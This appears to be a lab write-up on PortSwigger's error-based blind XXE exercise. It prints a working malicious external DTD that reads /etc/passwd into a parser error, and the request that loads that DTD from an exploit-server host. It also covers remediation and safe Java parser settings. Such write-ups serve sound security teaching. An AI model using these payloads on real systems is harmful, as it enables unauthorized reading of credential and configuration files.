Exploiting Blind XXE to Retrieve Data via Error Messages

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | XML external entity (XXE) injection |
| Lab | Exploiting blind XXE to retrieve data via error messages |
| Difficulty | Practitioner |
| Goal | Read /etc/passwd from a parser error message |
| Tools | Burp Suite (Proxy + Repeater) + the lab’s exploit server |
Blind, but the errors talk#
This is blind XXE: the response reflects no entity value. In the out-of-band lab we leaned on a Collaborator callback; here the trick is different, we make the parser fail in a way that puts the file in the error message.
The move is to try to load the file from a path that doesn’t exist. A parser that
reports FileNotFoundException: /invalid/<contents> helpfully pastes the file
contents into the error, because we build that “missing” path out of the file we
want to read. Doing this needs the dynamic entity-redefinition trick, which only
works from an external DTD, so we host one on the lab’s exploit server.
Step 1: host the malicious DTD#
Open Go to exploit server and serve this at /exploit in the Body:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;How it chains together:
<!ENTITY % file SYSTEM "file:///etc/passwd">reads the target file into%file.<!ENTITY % eval "...">defines%eval, whose value is another entity declaration. The%is an escaped%, so the inner% exfilentity is only created later, when%eval;runs, not while this DTD is first parsed.- The
exfilentity points atfile:///invalid/%file;, a path that doesn’t exist, with the file contents spliced into it. %eval;declares%exfil;%exfil;then forces the parser to open that bogus path. The open fails, and the error message echoes the whole path, file contents included.

Click Store so it’s live at https://YOUR-EXPLOIT-SERVER/exploit.
Step 2: trigger it and read the error#
In Repeater, make the stock-check load our external DTD with a parameter entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://YOUR-EXPLOIT-SERVER/exploit"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck><!ENTITY % xxe SYSTEM "…/exploit"> fetches the external DTD and %xxe; runs it.
The response is a 400 Bad Request, but the error line is the payoff, a
FileNotFoundException for /invalid/ followed by the contents of /etc/passwd:

The /invalid/ path never existed, which is exactly the point: the “not found”
error carries the file we smuggled into the path.
Real-world impact#
Error-based XXE matters because it beats a parser that reflects nothing:
- Reads files with no OOB channel — when even DNS/HTTP egress is blocked, a verbose parser error is still a readable side channel.
- Leaks secrets —
/etc/passwdhere, but the same DTD reads.env, config, credentials, and keys. - Depends on verbose errors — this is also a reminder that detailed parser errors returned to users are themselves a disclosure risk.
Only ever against systems you are authorized to test.
Remediation#
- Disable DTDs and external entities in the parser, the root-cause fix that stops the external DTD from loading at all.
- Don’t return raw parser errors to users. Log them server-side and return a generic message, so a failed parse can’t leak file contents.
A concrete example, parser-specific (here Java’s DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — the external DTD never loads
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);Key takeaways#
- When XXE is blind and there’s no out-of-band channel, force a parser error that includes the file: splice the file contents into a non-existent path.
- The
%file/%eval/%exfilchain needs an external DTD, because XML won’t let you redefine entities like this in the request’s inline DTD. - Verbose parser errors are a disclosure channel in their own right, suppress them.
Related posts#
- Blind XXE: Exfiltrate Data via a Malicious External DTD — the same external-DTD setup, exfiltrating out-of-band instead.
- Exploiting XXE to Retrieve Data by Repurposing a Local DTD — the error trick with no exploit server, reusing a DTD already on the box.
- Blind XXE with Out-of-Band Interaction — confirming blind XXE through a Collaborator callback.
- Full series: PortSwigger: XML External Entity Injection .